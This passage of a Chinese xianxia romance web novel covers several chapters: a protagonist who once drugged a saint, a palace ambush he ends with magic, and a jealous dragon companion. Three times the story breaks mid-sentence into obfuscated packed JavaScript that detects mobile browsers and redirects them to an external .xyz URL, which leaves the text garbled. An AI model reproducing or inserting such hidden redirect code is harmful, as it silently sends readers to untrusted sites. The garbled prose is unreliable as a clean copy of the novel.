落玉衡的逆鳞,奕戈的心头血,封祭月的灵骨,缔琉俟的情魄。 能触动情魄的方法很多,但色.欲是最简单的,同时还能让登灵阁的问仙仪式因为圣子的破戒而延后。 他借口有好玩的画本子要跟对方一起看,缔琉俟对他毫无防备,吸入了画本子中洒的催.情.药,还喝下他掺了大量药的水。 双管齐下,就算是最禁欲的人也要失控。 “为什么要给我下催.情.药?” 缔琉俟又问了一遍。 绯枝很确定,要是他不回答 对方能一直这么问下去。 “我说是因为好玩,冕下信吗?” “为什么好玩?” “就是......就是好奇你吃了那药会是什么样子。” 好恶毒的话,绯枝自己都想给自己一拳。 “为什么好奇?” 有完没有了,你这种问法就算是问到我死都问不完! 缔琉俟突然看向地上的钟宏舫,视线停留在脐下三寸处。 绯枝疑惑的跟着看过去。 啧,竖着的,辣眼睛。 “你想跟我行.房.事?”缔琉俟指向钟宏舫,“像他那样?” 绯枝一激灵,不要面无表情用你那张不食人间烟火的脸说这种下流的话啊! 下意识想挪远点。 璨金色的流光亮起,他顷刻间被制住了后退的动作。 膝弯撞在床沿,跌坐上去。 缔琉俟走近,突然开始宽衣解带。 “你、你干嘛?” 白金色外衫半褪挂在臂弯,面容矜贵的圣子淡淡回道:“你想做,跟你做。” 见对方腰封都解开了,松敞的里衣下腰.腹若隐若现,绯枝忙挪开眼神道:“我不想!” 褪衣服的动作停住,缔琉俟眸底浮现困惑,“那你为什么给我下药?” “......”多么一根筋的脑瓜啊。 “因为我当时就是一时兴起,现在不好奇了。” 见对方又要张嘴,绯枝立刻打断道:“别问我为什么一时兴起,也别问我为什么现在不好奇了,人的想法就是会变的!” 缔琉俟:“为什么想法会变?” “......” 啊啊啊怪不得落玉衡要被气到打架,要是打得过他也打! 难以正常交流的人比奕戈还棘手,因为难缠又执着。 说他坏心眼吧,却又完全没有。 绯枝脑中飞速思索,想要想出个妥当的回复来。 觉得身上有点燥热,一开始还以为是用脑过度,只随意扯了扯衣襟。 可是那点燥热逐渐蔓延开来,像是落入干柴堆的火星子,将火势燎开。 绯枝终于意识到了不对劲,他心头冒出一个很不好的预感。 颤巍巍指向角落那个装了“桃花醉”的香炉,“冕下......你不会没有将那个香炉灭掉吧?” 缔琉俟颔首。 “为什么不灭啊!” 绯枝心底疯狂尖叫。 这是正常人干得出来的事情吗,明知香炉里有催.情.药,居然还放任摆在那里。 他听对方指出香炉,想当然觉得对方肯定已经收拾掉里面的药了。 可他忘了,缔琉俟不是个正常人。 缔琉俟回答道:“因为对我无效。” “对你无效所以你就把这玩意儿当香料是——” 绯枝一愣,“等等,对你无效?那你之前为什么......” 他当时给缔琉俟用得分明也是桃花醉。 眼前的人突然倾身过来,绯枝惊得往后一靠,人就仰躺在了床榻上,手肘支在两侧,陷进松软的被褥。 缔琉俟支着床面,将他困在身体与床之间,低下头来。 乌发交缠,几缕发丝带着鎏金细链扫过他面庞,凉凉滑滑的。 绯枝怔怔抬眼,缔琉俟衣衫松散,以往总是整齐扣住脖颈的领口解开,敞开的衣襟下胸膛随着呼吸微微起伏。 那双剔透的金眸认真看着他,似落了细碎的辰星,显出几分极为罕见鲜活气来。 心跳有些急促,许是药力发作,思绪迟缓,绯枝一时间竟呆呆看着,忘了逃。 对方瞳孔里映出的自己的倒影分外明晰。 他记得当时也是如此。 被他下了药的缔琉俟将他困于桌案上...... 温热柔软的嘴唇贴上颈侧,循规蹈矩的圣子便破了戒。 而后,恰到好处被引来的登灵阁阁主看个正着,祭祀被迫延后。 可就算这般,阁主震怒之时缔琉俟都将他护在怀里,不让他直面威压。 背对闻讯而来的众人,一言不发,默默注视着他。 这大抵是平素乖顺的圣子第一次忤逆阁主。 对方低头越来越近,绯枝身子绵软无力,只微弱侧了侧头。 那药效力太强,他又没了修为,体内像是燃了一把火。 屋内的气氛有一种令人不安的,不该出现在他跟缔琉俟之间的旖旎感。 绯枝隐隐猜到了对方要做什么。 他迫切想要说些什么从这种尴尬的感觉中挣脱出来。 “既然、既然药对你无效,冕下你那时候为什么要......要那样做?” 湿热的呼吸落在颈窝间,绯枝一颤,听见缔琉俟淡淡道:“你想要,我就做。” “可你破戒了,还被关下地牢!” “你想要,我就做。” “你会被处刑的!” “你想要,我就做。不会的,我去学。” 绯枝猛然怔住,抵在缔琉俟肩膀上的手失了力,嘴张了张,却不知道说什么。 最后他自己都快听不清自己的声音,“为什么?” 为了他这种人做到这种地步。 所谓的友谊所谓的知己,不过都是他接近的说辞。 可这些身居高位的人却一个个都当了真。 许久没有回应,缔琉俟突然又在他颈侧蹭了蹭,似乎是要继续学来的动作,借此来躲避回答。 这是一件很奇怪的事情,缔琉俟向来对他有问必答。 热得昏昏沉沉的脑子察觉到不对劲,绯枝喘了口气,靠着从缔琉俟身上汲取来的些微凉意,聚集起几分清明。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422958|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 提高音量道:“冕下,看着我。为什么我想要,你就做?” “......” 缔琉俟终于停下动作抬起头,听话望着绯枝。 他像是被问住了,面上清冷的神情多出一些困惑。 他开始自言自语:“为什么?” “为什么你想要,我就做?” “为什么......” 绯枝很熟悉对方这副模样,每次遇到想不通的事情,就会开始死循环,直到想通为止。 趁着对方发呆,他强撑着无力的身体从对方身下逃出来,抓过一旁书架上的花瓶,将里面的水倒进香炉,灭了熏香。 后又打开窗户通风,将屋内的香气带走。 做完这一切,感受到身上的燥热逐渐平息,绯枝狠狠松了口气。 好险,差点被这个呆圣子坑了。 回过头,缔琉俟还在跟自己较劲,想要想出个前因后果来。 “为什么......” 他不停自语,复述绯枝的问题,好似这样就能得出结论一般。 分明是来找人问话的,可是自己想要的答案还没得到,就被某株坏桃花给拐进了沟里。 绯枝一点也不意外,六年的相处,缔琉俟身上的问题他比缔琉俟本人还清楚。 走近对方,放缓语调:“哪里不舒服?” 缔琉俟缓缓抬头,十分诚实,“心跳很快,头晕。” “冕下,我以前教过你的,你现在的状态叫做什么?” 缔琉俟答道:“你说,这叫做紧张。” 他面上依旧没有神情,“我为什么紧张?” 绯枝也不太清楚,也许不是紧张,单纯只是这个呆圣子太想知道问题的答案了,以至于用脑过度缺氧。 跟缔琉俟沟通有时候是件很曲折的事情。 在这个不合群就会被排挤的世道,不通情绪的缔琉俟与所有人都格格不入。 他甚至没有叙说自己喜怒哀乐的能力,因为他从未明白这些词的意义。 “为什么紧张?” 缔琉俟好似进到了新的循环里,但绯枝总觉得对方是因为本能在逃避思考之前那个问题。 要理解友谊或是知己情对缔琉俟来说太难了。 他或许永远都无法理解,刚才要做的事情,不是朋友之间该做的。 哪怕说了也无用,爱人、亲人、朋友,于他而言无甚区别。 他都没有,又何谈体悟。 弯腰替坐在床沿的缔琉俟整理好散乱的衣衫,绯枝抬手揉揉对方头顶。 他就跟哄小孩子似的,“紧张的时候要怎么办?” 缔琉俟回过神,伸出手,掌心捧着一只木雕的金丝雀。 “你说,摸它,就不难受。” 他的语调缓慢却认真,“我一直带着它。” 这只金丝雀是很多年之前绯枝雕给缔琉俟的。 其实没有任何特殊的地方,他只是用言语诱导缔琉俟将其当做一个寄托。 用心理作用让人觉得自己好了。 还有一个更大的作用,可以让缔琉俟少问他一些根本答不上来的“为什么”。 至于金丝雀外形,纯粹是绯枝觉得这位高贵的圣子跟笼中雀没有任何区别。 木雕的金丝雀展翅模样,捧着它的青年却早就被折断了翅膀。 “冕下,你也可以像小鸟一样自由的。” 缔琉俟抬眼,“变成小鸟,你就不离开了吗?” 绯枝一顿。 片刻后,他轻轻笑起来,“冕下,我一直在这里,没有离开啊。” 袖摆被抓住,缔琉俟的语气无比肯定:“你想离开,你才是小鸟。” 他面上仍旧没什么神情,这一刻却又好似多了坚定,直勾勾望着绯枝,“我要做树,让你安家,你就不离开了。” “......” 那双澄澈的金眸就像是面能照出内心的镜子,绯枝从里面看见了面目丑陋的自己。 哪有什么小鸟,他不过是一株吸血的桃花,一株该吞一千根针的桃花。 几乎是仓皇地避开对方的目光,他垂下眼,轻抚缔琉俟手感极好的头发,“冕下,我是桃花啊,你做小鸟就可以把我衔回家,不好吗?” 缔琉俟似乎被说服了,郑重地点点头,“好,我做小鸟。” “你去哪里,我都衔你回家。” 绯枝:“......” 糟糕,好像教了点不该教的。 11.第 11 章 钟宏舫的屋子终究不是个久留之地,将昏睡得跟头猪一样的钟宏舫丢上床,绯枝悄悄贴在门口听外边的动静。 很好,没人,那个琳儿走了。 “冕下,我们赶紧——” 一回头,熟悉的一幕重现了。 戴回了遮面绸缎的缔琉俟转过身,手上提着一个新的人。 “苏、苏煜?”绯枝一愣,“你怎么在这里?” 苏煜被领口勒得直翻白眼,龇牙咧嘴,“我中午来找你一起用午膳,结果听说你被太子殿下的那个大宫女叫走了。” “我就来救你。”他艰难指了指那扇被绯枝打开通风的窗户,“我从后面翻进来的。” 绯枝了然,看来替钟宏舫搜罗美人然后下药送上床的事情,琳儿没少干,私下都传开了。 就是没想到这个话痨会来找他,他们分明才认识一天。 该不会是怕他晚上回不去,没人听他唠叨那断袖朋友的故事了吧? “那个......”苏煜弱弱出声,“季兄,你能不能先让这位没脸呃......你神秘的伴侣把我放下来啊。” 他感觉自己像一只小鸡。 “什么伴侣,这是我朋友!” 绯枝突然有一种不好的预感,下一刻就听缔琉俟问:“什么是伴侣?” 完了......新的循环要开始了。 —— “......你们差不多得了啊。” 三人已经溜出了太子宫殿,走在没什么人的小道上。 绯枝走得那叫一个心惊胆战。 他是万万没想到,呆圣子跟话痨处得莫名和谐,一个爱提问,一个只要能说话说什么都行。 于是: 缔琉俟:“什么是伴侣?” 苏煜:“就是两个人关系很亲密,对了我跟你说我有一个断袖的朋友——” 缔琉俟:“怎么算亲密?” 苏煜:“哦哦,我想想哦,就比如一起玩一起吃一起睡,一直待在一起。” 缔琉俟突然看过来,绯枝后背一凉,眼神飘忽上天。 “为什么不是朋友?” 苏煜哈哈了一声,“你好有意思啊,朋友跟伴侣当然不一样啦。” 缔琉俟:“为什么不一样?” 苏煜:“唔......就这么讲吧,伴侣会牵手,会亲吻,还会做那种事你懂得,就是那种事......呃你这都不懂啊,就是房.事。” 约莫是话痨的天赋,缔琉俟分明整个脑袋都被绸缎遮住,苏煜愣是“看”出了他的不解。 “房.事就是把你的***放进对方的****,或者对方把他的****放进你的唔唔——?” “够了,别说了!!!”绯枝额角青筋冒起,忍无可忍捂住苏煜的狗嘴,“不要带坏小孩子啊!” “唔唔唔!”苏煜艰难挣开绯枝的手,“季兄,他看上去可比你大啊。” “你又看不到他的脸,怎么知道谁大?” “他个儿比你高。” “那只能说明他爹娘比我爹娘高!” 缔琉俟的声音突然在身后响起,叫绯枝一个激灵。 “我们是伴侣?” 绯枝猛地撒开苏煜,立刻摆手否认:“不是,是朋友!” “我们牵手。” “那是哄你睡觉!” “我亲过你。” “那是中了药!” “我们行.房.事。” “根本没做过!” 一通否认,绯枝语气越来越虚,莫名的紧张起来。 怎、怎么搞的,越说越奇怪了,但他跟缔琉俟绝对不会是那种关系。 他俩哪个也不是断袖龙阳,纯粹是他为了跟人套近乎,无所不用其极罢了。 一抬眼,苏煜正用充满了八卦与兴奋的眼神盯着他。 那眼神仿若在说“我又有了一个断袖的朋友”。 “我的袖子好得很!” 可缔琉俟也不知道吃错什么药了,分明以往他说什么就信什么,这一次却格外执拗。 他摇头,“我们不是朋友。” 绯枝反问,“为什么不是朋友,如果我们不是朋友,还能是什么?” 缔琉俟又回答不上来了,他垂下头,嘴里轻声自语:“为什么不是朋友......” “为什么不是......” 他翻来覆去重复这一句话,苏煜有些愣,悄悄戳了戳绯枝,压低声音道:“季兄,你的这个伴——” 被绯枝瞪了一眼,他果断改口,“这位仁兄是不是脑子有点不太对啊?” 绯枝不喜欢别人说缔琉俟有问题,微微皱眉,“他只是思维方式不太一样而已,他也是一个人。” 苏煜摸摸鼻子,“我知道我知道,我就是以前没见过这样子的人嘛。” “看他穿得这么华丽,就知道肯定是个有钱人,但还挺好说话的。” “啧啧,这身衣服能卖多少钱啊。” 他高低是个财迷,几句话就偏到钱去了。 缔琉俟步伐越来越慢,逐渐落在了两人身后。 绯枝似有所感回头,对方就这么静静看着他,手上还握着那只小鸟木雕。 有风吹过,撩起那遮面绸缎,隐隐窥见抿起的唇角。 他心知肚明,缔琉俟在等他给一个回答,就如同此前那许多年一般。 他们是朋友是知己,却又不是。 缔琉俟是真心,他是假意。朋友不会给朋友下药,心怀不轨的利用者却会。 此般复杂,缔琉俟是不可能理解的。 绯枝沉默,装作看不懂对方无声的请求。 于是缔琉俟开口,他声音依旧清冷,用一种事不关己的语气剖析自己的身体状况:“心跳很快,呼吸比平日急促,头晕。” 他问道:“为什么难受?” “为什么紧张?” “为什么不是朋友?” “为什么你想要,我就做?” 若要绯枝用一个词来形容缔琉俟,他或许会用“机关人”。 技艺高超的机关大师所造的机关人会依照周遭的变化做出恰当的应对,内部自有一套打造者设计的逻辑。 名为精密,实为循规蹈矩无法变通。 一旦逻辑陷入矛盾,就会立刻崩溃。 正如缔琉俟此刻。 他或许想说他们是伴侣,可是达成伴侣的条件却没有满足。 想说是朋友,可朋友不会做那逾越之事。 于是他呆板的思维陷入了僵持,找不到一个合适的词来概括他们的关系。 短短一日内无法想通的问题太多,缔琉俟就要崩溃了,周身甚至有灵力溢散。 苏煜只是个凡人,此刻已经有些受不住大能的威压,面色苍白。 他颤巍巍,“季兄,他、他是修仙者?” 绯枝打着哈哈,“算是吧——” 话音戛然而止,他瞳孔放大,看见一抹刺目的猩红在缔琉俟的遮面绸缎上飞速蔓延扩大。 “冕——你怎么了?!” 缔琉俟身形微晃,鲜血淋漓滴落在衣衫。 可他的语气依旧那么淡漠,就像是完全不在意自己的身体,解释道:“受刑,伤未愈。” 为何受刑,两人心知肚明。 绯枝失了声。 他突然有点想笑,他真是何德何能啊,四个修仙界里响当当的大能,全都因他重伤。 很多时候他都觉得自己真是祸水了,跟他关系好的就没个好下场。 “我先走。”缔琉俟突然道。 绯枝一愣,抬眼却只看见对方的背影。 分明还是那般圣洁端庄,可不知为何,他莫名从里看出了点落荒而逃的意味。 要逃也是他逃才对吧。 没有走神太久,绯枝心头松快下来。 缔琉俟走了是好事,他不想自己要做的事情被旁人察觉。 他就是这么一株没有心的桃花,就算有愧疚,也只是转瞬即逝。 然而一扭头,险些与一张脸撞到一块儿。 “!”绯枝一抖,“你要干嘛?” 苏煜的面色还有点点白,但他完全不在意,而是两眼放光。 手掌合到一起搓了搓,笑得一脸谄媚,“季兄,你知道的——” “我不知道。” “那你现在知道了。”苏煜眼巴巴,“求你,我想听八卦。” “你跟那位有钱的兄弟到底是什么关系啊?他是修仙者,那你难道也是修仙者?可修仙者为什么会是优伶?难道这是季兄你的爱好?那个兄弟为什么吐血?受刑是什么?你们之间发生了什么?” 一连串问题砸在脸上,给绯枝砸得脑子都嗡嗡响。 “很想知道?”他问。 苏煜猛猛点头。 “一个问题换一个问题。” “成交!” 绯枝自然是不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14483330|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能说真话的,他编了些听上去合理的假话,从苏煜那里套来一些琳儿的信息,还有不少皇室的八卦。 好奇心得到了满足的苏煜表示他要去带新人,多赚点月俸,晚上再见面详谈断袖的朋友。 还是别见了...... 也没别的事情做,绯枝在宫中悄悄溜达,熟悉着地形。 琳儿真心爱太子,苏煜是这么说的。 爱太子,却还能主动将不同的人送上太子的床,他不太懂这种心理。 不过对此他并没有任何发言权。 爱这种东西,就跟鬼一样,形态各异还往往只活在口口相传中,听说过的人很多,见过的人寥寥可数。 更是与他无关。 赶紧大婚吧,这皇宫待着怪心慌的,就跟被关在原地等着被债主们追上门一样。 那疯狗龙可是知道他要来皇宫的,绝对会追过来,到时候少不得又是一场腥风血雨。 奕戈虽然不知道,但心眼多,落玉衡豪掷万金的事情在皇城传遍,他只要稍微想一想都能猜到。 脚下踩碎了一根枯枝,绯枝回过神,才发现自己不知不觉间走到了此前跟师尊来过的偏僻亭子。 这可不是个好地方,赶紧溜。 结果一转头,三个蒙面黑衣人持刀逼近,那刀上还在缓缓滴落鲜血,身后拖着一个不知死活的男人。 “???”绯枝下意识后退,面上挂笑,“几位,我们无冤无仇,我什么都没看到。” 为首的黑衣人挥刀劈砍过来,丝毫没有要交谈的意思。 好一个无妄之灾,这地方果然不吉利! 本来不想在皇宫里杀人的,真倒霉。 绯枝侧身避过,旋身一掌拍上男人后心。 桃花的香气悄无声息弥漫,为首的黑衣人突然倒地,剩下两人想要过来,脚却动弹不得。 不知何时冒出的桃枝将他们死死缠绕。 其中一个黑衣人终于忍不住惊愕出声:“修仙——” 话未尽,他也跟着此前的黑衣人一样,断了气息。 三枝幼嫩的桃花苗从三人的心脏上生出,飞速生长,花苞在一瞬间绽放,沐浴了鲜血的花瓣娇艳欲滴。 而三人的尸体却以肉眼可见的速度干枯,最后化作一捧残渣,被风吹散。 绯枝弯腰,拾起桃花枝,收进袖中。 他就是一株食人血肉的桃花,命不够硬可别往他身边凑。 确认已经彻底毁尸灭迹,绯枝这才去打量那个不知道还有气没的男人。 把人翻过来,手一顿。 这人他认识。 这不就是那个前些日子跟他一起被关在魔窟里面,跟他搭话的那个青年吗,怎么会也在皇宫? 要命,这人可是知道他身份的。 要不......绯枝眼底杀意乍现,杀人灭口? 视线向下,落在对方的腰牌上,上面明晃晃刻着对方的名字—— 洵竹。 那个即将跟太子大婚的太子妃。 完了,杀不得了,大婚绝对不能被破坏。 不是,你一个太子妃,没事跑那荒郊野外去做什么,还被魔族给捉了。 现在又被追杀,得罪的人不会比我还多吧? 吐槽了几句,洵竹突然醒了,缓缓睁开眼睛。 他面上浮现恍惚与愣神,“咳咳......是、是你?” 绯枝眯眼一笑,捧住洵竹的脸,俯身凑近人。 “太子妃再好想想,你认识我?” 洵竹顿了顿,很快识相道:“多谢救命之恩,不知恩人是谁?” 绯枝满意,是个聪明人,“我是——” “是这世上最大的骗子!” “......?” 绯枝手一僵,笑容凝滞在脸上,木偶一般缓缓扭头。 一身黑红色劲装,马尾高束,桀骜藏都藏不住,不是落玉衡还能是谁。 这家伙似乎还打扮了一下,发带上多了一枚墨红色的镂空桃花模样的装饰,底下有墨色细链随着走动而不断晃动,添几分风流。 说疯狗疯狗就到,这皇宫真的还好吗,怎么感觉是个人都能随意进出? 玄色长靴踏过花丛,碾落数不清的花瓣,每一步都好似踩在绯枝心头,叫他毛骨悚然。 “绯枝!” 落玉衡的语气比他想象的还要愤怒,杀气都快化作实质了,“你还要跟这个小白脸偷.情到什么时候?!” 12.第 12 章 绯枝被吼得一个激灵猛地站直身子。 “等、等等,什么叫偷.情?”绯枝努力维持镇定,“我可以解释的,其实——” “你手都捧他脸上了,不是偷.情是什么?” 绯枝几乎听见了落玉衡咯吱咯吱磨牙的声音。 “你丢下我跑,就是为了来皇宫见这个小白脸?”落玉衡扣住绯枝肩头,咬牙切齿,“你的口味就这?” “千里赴情郎是吧,我以前怎么没看出来你这么情深义重?” “他是比我有钱还是比我能打?你说啊!” 说什么啊,你这话怎么好像我跟你是一对似的,果然疯狗该多读点书,学学用词! “我过来还打扰你们两个啃嘴巴了是吧!” 肩头上的手一直在摇晃,绯枝感觉自己晕得要吐花了,“落、落兄,他是太子妃,我们——” “你跟一个有夫之夫偷.情?!” 绯枝眼睛都开始打转了,气若游丝道:“你讲道理,你现在这样好像丈夫在捉奸......” 他都不懂这家伙哪来这么大火气,怕不是来之前被别的什么不长眼的人给惹到了。 肩膀上的手突然僵住,停下了晃动,绯枝终于缓过气来。 趁此机会,他反过来一把拍上落玉衡肩膀。 落玉衡一顿。 绯枝掷地有声,“落兄!你怎么能这么想我,我绝对绝对绝对不是龙阳断袖!” “我要是喜欢男人,我就从皇宫顶上跳下去!” 他绝对绝对绝对不想再被苏煜念上一晚上了。 抬眼,却见落玉衡面色好像更黑了。 不是,到底谁惹这疯狗了,怎么后果让他来承担的呢? 落玉衡恶狠狠开口,“你——” “落兄你的发带真好看,把你衬托得更俊美了,我根本移不开眼。” 绯枝打断对方即将出来的狂吠。 落玉衡声音戛然而止,呆愣在原地,下意识摸了摸那发带。 “真、真的?” “嗯!” “你喜欢?” “嗯嗯!” 杀气消散无踪。 绯枝松了口气,果然关键时刻还是嘴甜最有用,尤其是对这条疯狗,顺毛摸就对了。 “刚才有几个人追杀我,他只是我顺手救下的,我们之前根本就不认识。” 落玉衡长眉一皱,“追杀,你被伤到了?” “我哪有那么弱。”绯枝话锋一转:“不过我当时可害怕了,现在看到落兄,一下子就安心了,落兄就是我的依靠呀。” 落玉衡耳尖猛地红了,抱臂扭过头去,“哼,那是当然,这些小白脸我一根手指就能戳死。” 绯枝心想你长得更像小白脸,但这话是万万不敢说出来的。 肩膀撞撞落玉衡的肩膀,笑嘻嘻挨过去,“是啦,落兄是这天底下最厉害的人,我可都要靠你呢。” 对方却突然警惕,“你是不是又想跑?” 绯枝:“啊?” 腰突然被什么东西死死缠住,绯枝心头咯噔,一低头,果不其然是那条黑金色的龙尾巴。 尾巴还在收紧,光滑鳞片折射光泽,一时间给他一种被蟒蛇缠绕的错觉。 一旁的洵竹的确是十分识相,当即道:“小、小生还有事,先走了!” “别走啊,洵兄,我们还要好好谈谈呢!”绯枝伸手试图挽留。 洵竹连滚带爬逃得更快了,他可没忘之前那两个男人是怎么被这个龙族少年一箭贯穿的。 “你还真是跟谁都能称兄道弟,刚认识,兄都喊上了?” 绯枝总觉得这条疯狗的火气大得很,现在说话都字字带刺,就因为他之前跑了? 可既然这么生气,发现他跑了之后又为什么要把乾坤袋的禁制给他解开? “落兄,你——” “绯枝,我说过,你想做什么就跟我说,你就是要杀人放火掀翻这皇城我都替你干。” 落玉衡拧眉,有些暴躁地抓了抓他的头发,“但你干嘛老躲着我,我会吃了你不成?!” 看得出来,他真的在极力克制自己的戾气,努力不要吓到跟前的人。 绯枝微愣,随后垂眼笑了笑,对方是真心,可见惯人性丑恶,他最不敢信的便是真心。 人心是会变的,不去信便不会被背叛。 “就算是落兄,也不能干涉皇族的事情吧。” “不就是仙罚,我会怕这个?” 绯枝低头,手抚上缠着他腰的龙尾巴,掌心贴上凉凉滑滑的鳞片。 手感很好,宛若玉石。 落玉衡僵硬了身子。 “落兄。”绯枝刻意放柔声调,“你低头。” 落玉衡低头,语气凶巴巴的,似是不耐:“事真多,你要干嘛?” 绯枝取下对方发带上的装饰,晃晃从袖中取出的桃花枝。 笑眯眯:“假的哪有真的好看,落兄身边都有我这株真桃花了,想要桃花只管问我要啊。” 他专心致志忙着手上替换饰品的动作,余光却觉得落玉衡似乎始终直勾勾盯着他。 专注到他手都险些哆嗦。 随意找了个话题,“怎么突然想戴饰品了?” 跟前的人突然呼吸一滞。 绯枝不明所以抬头,落玉衡盯着他,耳尖似乎还有些红,缓缓道:“他们说戴桃花就能跟心上人在一起。” “落兄有心上人了?”绯枝将替换好的发饰笑眯眯递过去,“恭喜呀,不知是哪家姑娘?” 这话问出口,总觉得对方看他的目光更凶狠了,腰上的龙尾巴也缠得更紧,绯枝心惊胆战。 怎、怎么了? 不能是对方喜欢的姑娘喜欢他吧,虽然他作为桃花的确总是招来一些“桃花”,但也不至于倒霉到这种程度? “你就只想问这个?”落玉衡磨牙。 绯枝试探:“那......那姑娘生得如何,可也喜欢落兄?” “呵,喜欢个头,我才没有什么狗屁心上人!” “那你嘶——”绯枝猛地倒吸冷气,“疼疼疼疼!” 落玉衡一口咬在了他肩膀上,那四颗尖锐的犬齿陷入皮肉,隔着布料都感觉骨头要被咬碎了。 疯狗! 磨咬半天,落玉衡抬起头,变作竖状的瞳孔冷厉,像是一头择人而噬的凶兽。 他一把攥住那发饰,松开龙尾巴,转头就走,马尾险些拍绯枝脸上。 “你就是个蠢货、傻子!”他怒骂。 绯枝又疼又傻眼,他一向很能揣度几位债主的心思,可近来不知怎么了,这几人变得越来越难懂了。 现在他就不懂落玉衡为什么突然翻脸。 嫌他问太多了? 不是他让自己问的吗! 低头一看,肩头的布料被咬穿了四个洞,好险没咬出血。 —— 洵竹作为太子妃,因为尚未成婚,当前居住在一处名为月枝的宫殿。 绯枝品了品这名字,还怪雅致的。 “洵兄怎么不开门啊,难不成是怕我跟你算账?” 立于殿门外,绯枝敲门,似笑非笑开口。 几息后那门被打开,洵竹小心翼翼向着绯枝四周张望,发现某个可怕的人不在之后狠狠松了口气。 连忙将绯枝迎进屋内,歉意笑了笑,“抱歉啊,绯——” 对上绯枝吃人的眼神,他猛地改口,“小生还未请教姓名呢。” “禾子季,非文斐,季斐。” “季兄。” ......罢了,鸡胸就鸡胸吧。 绯枝坐到桌案旁,给自己倒了杯茶,当即灌了一大半下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582408|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 哄疯狗真费口水。 搁下杯盏,抬眼打量起坐在他对面的人来。 面容清俊,带着几分书生的端方。虽比不上他那几位债主,在凡人里面也已经算得上是容貌出色者了。 “那些追杀你的是什么人?” 洵竹也不隐瞒,温声答道:“大婚过后,皇帝会退位给太子,那些人应该是大皇子的手下,杀了小生,大婚就会推迟。” 绯枝挑眉,“你知道你未来的夫君夜夜笙歌吗?” “噗咳咳咳!”洵竹惊得没端稳手上的杯盏。 擦了擦衣襟上的茶水,他轻笑,“季兄都知道了,小生又怎么可能不知道。” “你真的是自愿当太子妃的?”绯枝支着脸。 “......”洵竹垂下眼,几息后才轻声缓道:“自愿与否,又有什么选择的余地呢。” “陛下选中了小生,要小生辅佐太子,除了顺从,小生别无选择。” 许是终于碰上一个能够让他倾诉的对象,洵竹抿了口茶,一点点叙述起来。 “季兄你知道吗,小生本是科举的金科状元,入殿拜官。” “本以为能够施展抱负,为这黎民苍生大好河山献一份力,却因为这张脸被太子注意到......” “分明是男儿身,分明饱读诗书,却只能委身于人,困于这高墙深宫,一生不得自由。” 他握着杯盏的指尖用力到苍白,声音也带上了微微的颤抖,“小生怨啊,寒窗苦读十数载,却得来此番下场。可小生要为家人考虑,不能连累了他们。” 绯枝倒没想到会是这样一个故事,他看洵竹一身读书人气质,原来是状元。 微微眯眼,试探道:“洵兄就不曾想过反抗?” 洵竹握杯盏的手一顿,苦笑,“如何反抗,除非小生能推翻整个皇族,否则终究逃不开这座牢笼。” 这话没错,绯枝在修仙界待惯了,习惯的是师尊那般一剑断山裂天的力量,一时间忘了对凡人来说,皇族是何等的庞然大物。 刚打算象征性安慰几句,呢喃伴随着剧痛毫无预兆在脑中出现。 绯枝面色顿时煞白。 [杀了皇族] [宴仙] [毁了玉玺] [见到他] ...... 呢喃的声线呕哑嘲哳,粗糙凄厉,叫人心头发寒。 “季兄你怎么了?”洵竹担忧,“你面色好差。” 桌案角发出轻微的碎裂声,快要被惨白的指尖捏碎。 绯枝极力克制身体的颤抖,缓缓松开捏着桌角的手。 为了防止自己惨叫出声,他几乎将舌尖咬断,口腔中的血腥味浓郁到令人反胃。 咽下血腥,抬袖装作不经意地抹过唇角,擦去溢出的血。 “无事......” 发觉对方还看着自己,绯枝艰难扬起笑意,“只是觉得洵兄的名字很好听。” “洵字一诺千金,襟怀坦白;竹字清雅脱俗,坚韧不拔。” “为洵兄取名的人一定对你抱了很美好的祝愿。” 洵竹猛然怔住,回过神后轻轻笑起来。 他低眼,声音极轻,“已经许久不曾有人这样说了......” “虽然不知季兄缘何来皇宫,但小生还是祝季兄得偿所愿。” 绯枝快要疼晕过去了,他都不记得自己是怎么强撑着再恭维几句,然后借口还有事离开月枝殿的。 所有的感知都被剧痛占据,就好像被一片片撕裂,蚕食血肉,痛不欲生。 踉踉跄跄寻了处偏僻地,身子就软绵绵栽了下去。 “绯枝!” 彻底昏迷前,绯枝模糊倾倒的视野中映出落玉衡焦急的身影。 虽然很不想承认,但还是安心了...... 13.第 13 章 又梦见了那个人。 这一次似乎变得清晰了一些,绯枝在梦中看见对方捻着一枝桃花,只是依旧看不清面容。 “我要去人间一趟,你乖乖在这里。” 那支桃花同他的本体一般无二,玉雕似的枝干,水红色的艳丽花朵。 可是很快,梦境开始坍塌,桃花也片片凋零,花瓣好似饮血,碾落在地,渗出不祥的猩红。 